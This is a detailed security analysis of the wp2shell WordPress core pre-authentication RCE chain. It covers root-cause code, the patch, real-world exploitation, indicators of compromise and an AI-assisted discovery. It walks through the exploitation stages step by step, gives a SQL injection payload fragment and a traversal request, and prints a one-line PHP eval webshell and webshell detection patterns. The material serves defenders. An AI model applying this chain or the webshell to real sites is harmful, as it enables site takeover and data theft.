Overview
On July 17, 2026, WordPress shipped a coordinated security release closing a pre-authentication remote code execution chain reachable against a typical default install, no plugins required, no login page in front of it, provided a persistent object cache is not configured. WordPress runs roughly 43% of all websites. Searchlight Cyber, which found the primary bug, estimates over 500 million sites are built on it.
The chain, named wp2shell, combines two flaws:
| CVE | Description | Vendor severity (WordPress GHSA) | CVSSv3 (per Tenable / Hadrian) |
|---|---|---|---|
| CVE-2026-63030 | WordPress Core REST API batch-route confusion leading to RCE | Critical | 9.8, vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H published by Hadrian |
| CVE-2026-60137 | WordPress Core WP_Query author__not_in SQL injection | Moderate | 5.9 |
The WordPress GitHub Security Advisories carry severity labels only. The numeric scores and vector above come from third-party analysis (Tenable's RSO FAQ table and Hadrian's technical overview), not from the WordPress CNA. Confirm against NVD before citing them as authoritative.
CVE-2026-63030 was discovered and disclosed by Adam Kues of Searchlight Cyber / Assetnote. CVE-2026-60137 was discovered by researchers TF1T, dtro, and haongo. Kues published an advisory and a public checker at wp2shell.com on disclosure day while deliberately withholding technical detail, then released a full technical breakdown on July 20.
Two things make this worth writing up beyond the usual critical-CVE cycle.
First, the entry point is almost absurdly small. CVE-2026-63030 is an off-by-one array desynchronization; an error object appended to one tracking array but not its sibling. From that single index drift, each dispatchable sub-request after a deliberately malformed one can be executed using the following sub-request's matched route and handler while still carrying its own validation result. The root desynchronization is corrected by a one-line array-alignment change, with an additional dispatch guard added to prevent the recursive REST behavior the full chain depends on.
But the entry point is not the exploit. What makes wp2shell technically distinctive is the journey from "read-only SQL injection" to "administrator account," which runs through WordPress's request-local post-object cache, the oEmbed cache, the customizer changeset system, post-hierarchy cycle handling, and a dynamically constructed parse_request action hook. That part is covered in the attack chain section below, and it is the part most secondary coverage omits.
Second, the discovery method. Kues pointed OpenAI's GPT-5.6 Sol Ultra at a stock WordPress checkout, running four agents for a minimum of six hours, with a prompt adapted almost wholesale from OpenAI's published Cycle Double Cover research prompt, instructing the model to work from first principles, explicitly barred from consulting changelogs, git history, or the internet to diff against a patched version. (He removed the .git directory for the same reason.) The model surfaced the pre-auth SQLi on its own; asked whether it could be escalated, it returned a working privilege-escalation-to-admin chain about four hours later. Total: just over ten hours of model time, ~50% of a week's usage on the $200 subscription tier, a pro-rata cost of roughly $25. His own assessment: "no security researcher could have found and completed this exploit chain in 10 hours without AI... Even if I gave them the original bug and asked them to exploit it for RCE, I'm not sure it would be possible in that timeframe." The same dynamic ran in reverse within hours: two teams (Calif and Hacktron) independently reproduced the full chain over the disclosure weekend, and public PoCs surfaced on GitHub via AI-assisted patch diffing before most administrators had patched.
Exploitation followed fast. watchTowr (quoted by The Hacker News) reported its honeypots logging tens of thousands of attempts and more than 100 malicious administrator-account creation events. Wiz Research has independently confirmed webshell deployment and successful administrator access on cloud-hosted instances.
Background: Why the Batch API Is Such a Good Target
The WordPress REST batch endpoint (batch/v1) exists to let a client bundle several REST calls into one request, saving round trips. It has been a core feature since WordPress 5.6 (2020); the block editor uses it constantly during normal editing. The batch API is longstanding, but the specific desynchronization that becomes CVE-2026-63030 was introduced in 6.9; an old feature, a new bug.
Its exposure profile is close to worst-case:
- It ships in core, enabled by default. There is no plugin to blame and no vendor-specific deployment to narrow the target set.
- It is reachable pre-authentication. No login page sits in front of it.
- It does not require pretty permalinks. The endpoint answers on both
/wp-json/batch/v1and/?rest_route=/batch/v1. Installs that disable rewrite rules are still exposed, and any mitigation covering only one form leaves the site reachable; a point every advisory emphasizes. - Its traffic is inherently privileged. A batch handler runs several independent requests, each with its own permissions, inside a single privileged dispatch cycle. The security of that arrangement rests on one quiet assumption: every request stays bound to its own route, handler, schema, and permission check for the entire cycle.
One narrowing condition. Cloudflare states the RCE path is reached when a persistent object cache is not in use. This is not a contradiction of Searchlight's "stock install, no plugins" framing (default WordPress does not ship with a persistent object cache) but it does mean "no preconditions" is too absolute. The accurate formulation is: exploitable on a typical stock/default installation, provided a persistent object cache is not configured. Sites running Redis, Memcached, or a host-provided object cache drop-in should still patch on the same timeline, but the RCE leg specifically depends on the request-local (non-persistent) cache behavior abused in stages 6–8 below.
Root Cause: The Index That Drifts
Core resolves each sub-request to a route and handler, validates them, then dispatches in a second pass. It keeps three parallel lists ($requests, $validation, and $matches) and depends on all three staying index-aligned.
In WP_REST_Server::serve_batch_request_v1(), a sub-request that fails early is recorded and skipped:
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request; // recorded here...
continue; // ...but NOT in $matches
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
// ...permission and validation checks...
}
The error goes into $validation but never into $matches. From that point forward $matches is one element shorter than $requests. The dispatch loop then indexes straight into it:
foreach ( $requests as $i => $single_request ) {
// ...
$match = $matches[ $i ]; // now off by one for every request after the error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
The Primitive Is Broader Than "Permission Confusion"
It is tempting (and most secondary coverage does this) to describe the bug as "one request gets evaluated against another request's permission callback." That happens, but it undersells the primitive.
After the malformed element, each dispatchable request object remains paired with its own validation result but is dispatched using the following request's matched route and handler. Searchlight describes it precisely: core validates one request, then executes it using the next request's endpoint handler.
The consequence is not merely a substituted authorization check. The mismatch spans:
- Parameter schemas; a value validated against one endpoint's schema is passed to an endpoint expecting something else entirely.
- Sanitization logic, sanitizers bound to the validated route never run against the executing route's parameters.
- Method restrictions; an endpoint's allowed HTTP methods are enforced against the wrong request.
- Endpoint callbacks, the code that actually runs is not the code the request was checked for.
- Permission callbacks, the authorization gate, which is the effect everyone notices first.
That breadth is what makes the chain possible. Bypassing sanitization is what unlocks the SQL injection; bypassing method validation is what unlocks the GET-only steps. A pure permission bypass would not have been enough.
The Sink
CVE-2026-60137 lives in WP_Query's author__not_in query variable: supplying a string where an array is expected skips the array check and drops the raw value into the query. Note the naming, because it matters when comparing this description to exploit traffic, the REST author_exclude parameter is what maps into WP_Query's author__not_in query variable. Traffic and PoCs show author_exclude; the vulnerable code shows author__not_in.
On its own, CVE-2026-60137 is a moderate-severity SQLi requiring a path to reach it, and that path normally requires a plugin or theme to pass untrusted data through. Behind the batch desync, the path is anonymous.
The Patch
Two conceptual changes, keep the arrays aligned, and add a guard so a sub-request cannot start a fresh top-level REST dispatch mid-cycle:
public function serve_request( $path = null ) {
+ if ( $this->is_dispatching() ) {
+ return false;
+ }
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
+ $matches[] = $single_request;
$validation[] = $single_request;
continue;
}
Both changes are identical across the 6.9 and 7.0 branches. The second is not incidental hardening: the published chain uses recursive batch invocation, so the re-entrancy guard closes a leg of the exploit in its own right. Describing the complete fix as "one line" would be wrong even though the root desynchronization is a single missing array append.
Attack Chain
The single most common error in coverage of this vulnerability is compressing it to "batch confusion → SQL injection → code execution." The SQL injection is read-oriented. It does not, on its own, produce RCE. Getting from a read primitive to an administrator account is the majority of the work and the most technically interesting part of Kues's research.

Stage 1, Unauthenticated Batch Request
A single unauthenticated POST to /?rest_route=/batch/v1 (or /wp-json/batch/v1) carrying "validation":"normal" and an array of sub-requests. No authentication, no user interaction.
Stage 2, Trigger the Array Desynchronization
The first sub-request is crafted to fail parsing before matching; a path such as http://: returns a WP_Error. This is the element that lands in $validation and never reaches $matches, shifting every subsequent index.
Stage 3, Bypass author_exclude Validation via the Desync
The SQL injection sink is reachable through GET /wp/v2/posts, whose public author_exclude parameter is normally validated to an array of integers before being mapped to the internal author__not_in query variable. Using the desync, the exploit validates the author_exclude value against a route that doesn't recognize the parameter (DELETE /wp/v2/posts/1) while executing it against GET /wp/v2/posts, so the type check and absint sanitization never apply.
Stage 4, Bypass the Batch API's GET Restriction via a Recursive Batch
There is an obstacle: the batch API does not allow GET sub-requests, and the sink is GET-only. Kues notes that Sol's insight here is that the method restriction is itself implemented as parameter validation, so the same desync primitive defeats it. The exploit nests a batch call inside the batch dispatch; in the inner call, the desync means the request method field is never validated, permitting the GET. The full pre-auth SQLi payload therefore exploits the desync twice, recursively: once to unvalidate method, once to unvalidate author_exclude. This recursive re-entry is what the patch's dispatch guard exists to kill.
Stage 5, Obtain Read-Only, UNION-Based SQL Injection
The unsanitized value reaches the raw query via author__not_in (CVE-2026-60137). A payload like 0) OR 1=1 -- returns all rows, confirming injection; from there a UNION-based injection returns arbitrary database values shaped as a full wp_posts row. This is the extent of the primitive at this point: SELECT-only data disclosure, not execution. Leaking the database is not enough to take over an admin account on its own (credentials and reset tokens are hashed) which is why the escalation avoids credential cracking entirely.
Stage 6, Poison the Request-Local WP_Post Cache (The Cache)
WordPress keeps a non-persistent, in-memory cache of WP_Post objects seen during a request, to avoid re-fetching the same post from the database. Because the UNION injection lets the attacker fabricate the row that comes back for a post lookup, and because WordPress post-processes article text even via the API, the attacker gains near-total control over what a "retrieved" post contains in memory. This is the step that depends on a persistent object cache not being in use, it is the request-local cache that is being poisoned.
Stage 7, Materialize Fake Posts as Real Database Rows via oEmbed (The Embed)
Cache poisoning alone only produces phantom, in-memory posts, not durable database rows. The bridge is WordPress's embed feature. An embed of a local post by relative path ([embed]/?p=10[/embed]) is cached at the database level as an oembed_cache row in wp_posts, and WordPress does not verify that the referenced post ID exists. That fabricates real DB rows. Then, on a subsequent request, the attacker uses the SQLi to make the in-memory version of that row disagree with the database version (for example, post_type = post in memory vs. oembed_cache on disk). When WordPress reconciles the two via wp_update_post, it prefers the attacker-controlled in-memory fields, "popping" the oembed_cache row into an arbitrary post type. The one field the attacker cannot override this way is post_content, because that call sets it explicitly from the embed.
Stage 8, Fabricate an Administrator-Owned customize_changeset (The Changeset)
The target post type is customize_changeset, the row WordPress uses to store drafted Customizer changes. Its post_content holds JSON describing settings changes, each entry carrying a user_id whose authority is used when the changeset is applied. A changeset with user_id: 1 is applied with the administrator's identity, via wp_set_current_user(). If such a changeset is applied while the attacker is anonymous, the attacker temporarily assumes the administrator role. The catch: the malicious JSON must live in post_content, the exact field stage 7's reconciliation cannot control.
Stage 9, Control post_content and Apply the Changeset via Post-Hierarchy Cycle Handling (The Cycle)
The missing control comes from WordPress's cycle-detection logic. When updating a post's parent hierarchy, WordPress guards against infinite loops: if it detects a post that is its own ancestor, it repairs the cycle with wp_update_post(['ID' => X, 'post_parent' => 0]). Crucially, this repair call does not override post_content (so the field is taken from the attacker-controlled in-memory cache. By engineering a parent cycle on the changeset row, the attacker forces WordPress to write a fully attacker-controlled changeset (admin-owned JSON included). Because the changeset's status is future but its date is in the past, WordPress then applies it) momentarily assuming administrator authority.
Stage 10, Replay the Entire Request as Administrator via the parse_request Hook (The Hook)
Assuming admin authority for a single settings change is not yet RCE. WordPress fires dynamically-named action hooks of the form "{$new_status}_{$post_type}" when a post is published, and because the attacker fabricates posts in memory, both halves of that hook name are attacker-controlled (any value containing an underscore). Chaining another cycle-repair against a post with status parse and type request causes WordPress to fire parse_request, the hook at the very start of the request lifecycle. This replays the entire batch request from the beginning, but now with the temporarily-assumed administrator role still active.
Stage 11, Create an Administrator Account, Then Upload a Plugin
The original batch request included a sub-request to create a new administrator. On the first pass it fails (executed as a guest); on the parse_request replay it succeeds, because the request is now running as the administrator. The attacker logs into the new account and uploads a plugin from a ZIP (legitimate administrator functionality that runs attacker-supplied PHP. This is where code execution actually occurs) not in the SQL injection.
Summarized: the batch confusion makes a UNION SQL injection anonymously reachable; the exploit poisons WordPress's request-local post cache, uses the oEmbed cache to turn phantom posts into real database rows, "pops" one into an administrator-owned customize_changeset, abuses post-hierarchy cycle repair to control the changeset's post_content and apply it (briefly assuming admin authority), and abuses a dynamically-named parse_request hook to replay the whole batch request under that admin role; at which point a queued "create administrator" sub-request succeeds, and a plugin upload delivers code execution.
Note on ordering: the stages above are grouped for narrative clarity along Kues's own section structure (The Cache → The Embed → The Changeset → The Cycle → The Hook). The working exploit interleaves these, it makes two HTTP requests, the first seeding three
oembed_cacherows and the second driving six fabricated posts (labelledO,C,P,D,S,Tin the write-up) through the cache/cycle/hook gadgets in a single pass. See Searchlight's "The Exploit" section for the exact row layout and firing order.
Stage 12, Post-Exploitation
Early in-the-wild activity tracked this progression. watchTowr's Jake Knott (quoted by The Hacker News) reported that public exploit code was used first for database/credential-hash extraction, "with remote code execution following once additional details were made public." Wiz's investigated compromises showed successful administrator access and webshell deployment but, at publication time, no confirmed data exfiltration or lateral movement in their own cases.
Wiz Research observed the following on compromised, cloud-self-hosted instances:
- Malicious plugin upload. Attackers hit
/wp-admin/plugin-install.php?tab=uploadand POSTed to/wp-admin/update.php?action=upload-pluginto install persistent backdoors. - User enumeration. Requests to
/wp-json/wp/v2/users?context=editto harvest administrator usernames and email addresses. - Local file inclusion.
admin-ajax.php?template=../../../wp-config, targeting database credentials and authentication keys for exfiltration. - Admin panel access.
/wp-admin/returning HTTP 200, indicating a successful authenticated session.
Three distinct webshells have been documented, spanning the sophistication spectrum:
- A one-liner.
<?php eval($_POST['[redacted]']??'http_response_code(404);');, remote code execution for anyone knowing the parameter name, returning 404 as evasion. Wiz notes this class of shell appears after essentially every new RCE. - A ~150KB "CMSmap" plugin. Masquerading as the legitimate CMSmap security tool by Dionach, note that the genuine project is a standalone Python CMS scanner, not a WordPress plugin, so a plugin directory bearing that name is itself the finding. The sample is a full attack platform: graphical interface, password authentication, file management, database access, port scanning, batch code injection, and multiple privilege-escalation modules including MySQL UDF exploitation. Packed via hex-encoded string concatenation and gzip-compressed base64, unpacked at runtime with
eval(gzuncompress(base64_decode(...))). Its internal payload closely matches a known public PHP webshell with onlyshellnameandpasswordchanged. - A REST-route backdoor plugin. Registers
/morning/v1/[redacted]with'permission_callback' => '__return_true', thenpassthru()s a base64-decoded command from thecparameter and returns output as JSON.
Separately reported (not from Wiz's telemetry): watchTowr reported observing more than 100 malicious administrator-account creation events in its telemetry, and reporting associated with that activity describes a threat actor repeatedly attempting to install Overlord RAT, a Golang-based remote access trojan. Both claims reach this draft via The Hacker News rather than a primary watchTowr publication, see analyst notes.
Timeline
| Date | Event |
|---|---|
| Dec 2025 | WordPress 6.9 ships, introducing the batch-route confusion (CVE-2026-63030). CVE-2026-60137 is present from 6.8 onward. |
| July 17, 2026 | Coordinated security release: 6.8.6, 6.9.5, 7.0.2, 7.1 beta2. Two GitHub Security Advisories published. |
| July 17, 17:03 UTC | Cloudflare deploys WAF rules for both CVEs to all plans, including free. |
| July 17 | Searchlight Cyber publishes the advisory and the wp2shell.com checker, withholding technical detail. Public PoCs begin appearing on GitHub within hours. |
| July 18 | Hexastrike begins observing honeypot exploitation attempts over the weekend and assists with confirmed incident response. Patchstack and watchTowr confirm in-the-wild exploitation. |
| ~July 18 (early UTC Sat) | Per watchTowr, successful exploitation "already well underway", public exploit code used first for database/credential-hash extraction, RCE following once further detail was public. |
| July 20 | Searchlight Cyber publishes the full technical breakdown. Wiz Research publishes confirmed exploitation, webshell analysis, and IOCs. Tenable publishes its RSO FAQ. |
| July 20–21 | Mass indiscriminate scanning; watchTowr honeypots register tens of thousands of attempts and 100+ malicious administrator-account creation events in its telemetry. Overlord RAT installation attempts reported. |
Affected and Fixed Versions
| Branch | Affected | Fixed | Applicable CVEs |
|---|---|---|---|
| 6.8.x | 6.8.0 – 6.8.5 | 6.8.6 | CVE-2026-60137 only (standalone SQLi) |
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 | CVE-2026-63030 + CVE-2026-60137 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 | CVE-2026-63030 + CVE-2026-60137 |
| 7.1 beta | 7.1 beta | 7.1 beta2 | CVE-2026-63030 + CVE-2026-60137 |
| ≤ 6.8.5 | Not affected by CVE-2026-63030 | , | Batch-route confusion introduced in 6.9 |
Condition on the RCE leg. Per Cloudflare, the unauthenticated RCE path applies when a persistent object cache is not in use, consistent with the request-local cache poisoning in stage 6. Default WordPress has no persistent object cache, so the practical reading is that a typical stock install is exploitable and a site running Redis/Memcached or a host-supplied object cache drop-in may not be reachable via this specific path. This is not a mitigation to rely on: it has not been independently validated as a complete barrier, the SQL injection leg is unaffected by it, and patch status should be the control. Treat every affected-version instance as in scope regardless of caching configuration.
WordPress.org has enabled forced automatic updates across affected supported installations. Verify the update actually applied; auto-updates stall quietly on file-permission or disk problems.
Scale of exposure. Wiz data indicates 60% of organizations using WordPress had at least one vulnerable instance when the CVEs published, and 25% were exposing a vulnerable server to the internet. Within 24 hours those figures dropped to 50% and 10% respectively. Tenable notes that all four prior WordPress entries in CISA's KEV catalog involve plugins, pre-auth RCE in WordPress Core is uncommon.
Indicators of Compromise
Network
| Type | Indicator | Role |
|---|---|---|
| IPv4 | 45.79.167[.]238 | Exploitation |
| IPv4 | 34.81.132[.]62 | Exploitation |
| IPv4 | 79.177.131[.]206 | Exploitation |
| IPv4 | 15.157.135[.]170 | Exploitation |
| IPv4 | 94.100.52[.]128 | Exploitation |
| IPv4 | 172.235.128[.]52 | Mass scanning |
| User-Agent | wp2shell | Exploitation tooling signature |
| User-Agent | rezwp2shell | Exploitation tooling signature |
Source: Wiz Research, July 20, 2026. Several of these fall in large cloud/hosting ranges (Linode/Akamai, Google Cloud, Amazon) and are correspondingly perishable, verify current ownership before acting on them as durable indicators. Separately, KEVIntel telemetry links 13 unique IPs from Switzerland, Germany, the UK, Indonesia, Lithuania, the Netherlands, and Singapore to CVE-2026-63030 exploitation.
File Hashes (SHA-1)
| Indicator | Description |
|---|---|
2a1410d8e2a8337ac2171cedea8c0fdc47c647a0 | PHP webshell |
58eca847e9eae9e6b08cc211f1559817b71bc4cc | PHP webshell |
ebea44890f434d5d67ede22009a3f4bb5cac33f8 | PHP webshell |
d9a220c8039f1c4d72cae7ccb8b3a33dec8815be | PHP webshell |
e9756e2338f84746007235e4cab7a70d5b3ca47f | PHP webshell |
Note: these are SHA-1, not SHA-256, confirm hash algorithm coverage in your telemetry before building hash-matching detections.
Host Artifacts
| Type | Value |
|---|---|
| Request path | /wp-json/batch/v1, /?rest_route=/batch/v1 |
| Request path | /wp-admin/update.php?action=upload-plugin |
| Request path | /wp-admin/plugin-install.php?tab=upload |
| Request path | /wp-json/wp/v2/users?context=edit |
| Request path | admin-ajax.php?template=../../../wp-config |
| Malicious REST namespace | /wp-json/morning/v1/ |
| Malicious plugin name | CMSmap, the genuine Dionach project is a standalone Python CMS scanner, not a WordPress plugin, so its presence as one is itself the finding |
| Webshell code pattern | eval($_POST[ |
| Webshell code pattern | eval(gzuncompress(base64_decode( |
| Webshell code pattern | passthru(base64_decode( |
| Post-exploitation malware | Overlord RAT (Golang) |
Key Takeaways
Patching is not remediation here. Exploitation began within hours of disclosure and preceded most patch windows. An attacker who landed a webshell or created a backdoor admin before the update still has both afterward. Every affected instance needs an inspection pass (new admin accounts, plugin directory diff, wp-config.php integrity) regardless of current patch level. Both watchTowr and Wiz say this explicitly.
The AI symmetry is the real story. Kues found this chain in just over ten hours with GPT-5.6 Sol Ultra, at a reported cost of about $25, working from first principles against a codebase reviewed for two decades; and stated plainly it would not have been possible on that timeline without AI. The same capability then compressed the defender's grace period to near zero: public PoCs appeared within hours of disclosure, attributed to AI-assisted patch diffing. The traditional model, hold technical details, give administrators a head start; assumes exploit development is the slow step. That assumption is weakening, and disclosure practice has not caught up.
A read primitive is not a safe primitive. The most instructive part of wp2shell is the six steps between "read-only SQL injection" and "administrator account." Nothing in that sequence is a memory-corruption trick or a novel class of bug; it is a chain of ordinary WordPress features (the request-local object cache, customizer changesets, post-hierarchy cycle handling, dynamically named action hooks) composed into a privilege transition. Severity triage that stops at "read-only SQLi, moderate" and moves on will keep getting this wrong. The scoring gap between the two CVEs (Critical vs. Moderate) is exactly this failure mode in miniature.
Shadow WordPress is where this will hurt. The production site gets patched. The staging environment, the abandoned marketing microsite, and last year's campaign landing page do not. They also usually sit outside EDR coverage, which makes the endpoint-layer detections above structurally blind on exactly the assets most likely to be compromised. Inventory first.
Batch APIs deserve a second look generally. The structural pattern (several independent requests, each with its own schema, method restrictions, sanitizers, and permissions, executed inside one privileged dispatch) appears well beyond WordPress. The security of every such design rests on the same assumption that broke here by a single array index: that a request stays bound to its own handler for the entire cycle. If your stack exposes a batch or bulk endpoint, the question worth asking is whether that binding is enforced structurally or merely maintained by convention.
Detection needs layered signals, not one clever signature. Generic exploit signatures are weak here because the request uses a legitimate endpoint and well-formed JSON, no metacharacters, no traversal, no anomalous length. But that is an argument against naive pattern matching, not against inspection: Cloudflare shipped semantic, per-CVE WAF rules with a default Block action within hours, and body-aware inspection of batch structure, malformed sub-request paths, nested batch invocation, and author_exclude values remains the strongest pre-patch control. Pair it with contextual response-code triage at the network layer and PHP-runtime process lineage at the endpoint. No single one of those three is sufficient alone.
References
-
Hadrian. (2026, July 17). wp2shell: A Pre-Authentication RCE in WordPress Core's REST Batch API. https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api
-
Kues, A. (2026, July 17). wp2shell: Pre Authentication RCE in WordPress Core. Searchlight Cyber. https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
-
Kues, A. (2026, July 20). Exploit brokers pay $500,000 for a WordPress RCE. I found one with GPT5.6 Sol Ultra and $25. Searchlight Cyber. https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/, primary technical source for the attack chain (stages 3–11), supplied by reviewer as saved HTML.
-
Dorfman, S., & Tikochinski, G. (2026, July 20). Exploitation in the Wild of wp2shell. Wiz. https://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137
-
Narang, S. (2026, July 20). wp2shell (CVE-2026-63030, CVE-2026-60137): Frequently Asked Questions About Remote Code Execution Chain in WordPress Core. Tenable Research Special Operations. https://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution
-
Lakshmanan, R. (2026, July 21). WordPress wp2shell Exploitation Grows as Public Exploit Fuels Mass Scanning. The Hacker News. https://thehackernews.com/2026/07/wordpress-wp2shell-exploitation-grows.html
-
Lakshmanan, R. (2026, July). New wp2shell WordPress Core Flaw Lets Unauthenticated Attackers Run Code. The Hacker News. https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html
-
Cloudflare. (2026, July 17). Cloudflare WAF Protects WordPress Applications From Two High-Severity Vulnerabilities. https://blog.cloudflare.com/wordpress-vulnerabilities/
-
WordPress. (2026, July 17). WordPress 7.0.2 Security Release. https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
-
WordPress. (2026, July 17). GHSA-ff9f-jf42-662q, CVE-2026-63030. GitHub Security Advisories. https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
-
WordPress. (2026, July 17). GHSA-fpp7-x2x2-2mjf, CVE-2026-60137. GitHub Security Advisories. https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
-
Searchlight Cyber. (2026). wp2shell.com, Vulnerability Checker. https://wp2shell.com/
-
Dionach. (n.d.). CMSmap. GitHub. https://github.com/dionach/CMSmap
-
MITRE ATT&CK. Exploit Public-Facing Application (T1190). https://attack.mitre.org/techniques/T1190/
-
MITRE ATT&CK. Server Software Component: Web Shell (T1505/003). https://attack.mitre.org/techniques/T1505/003/
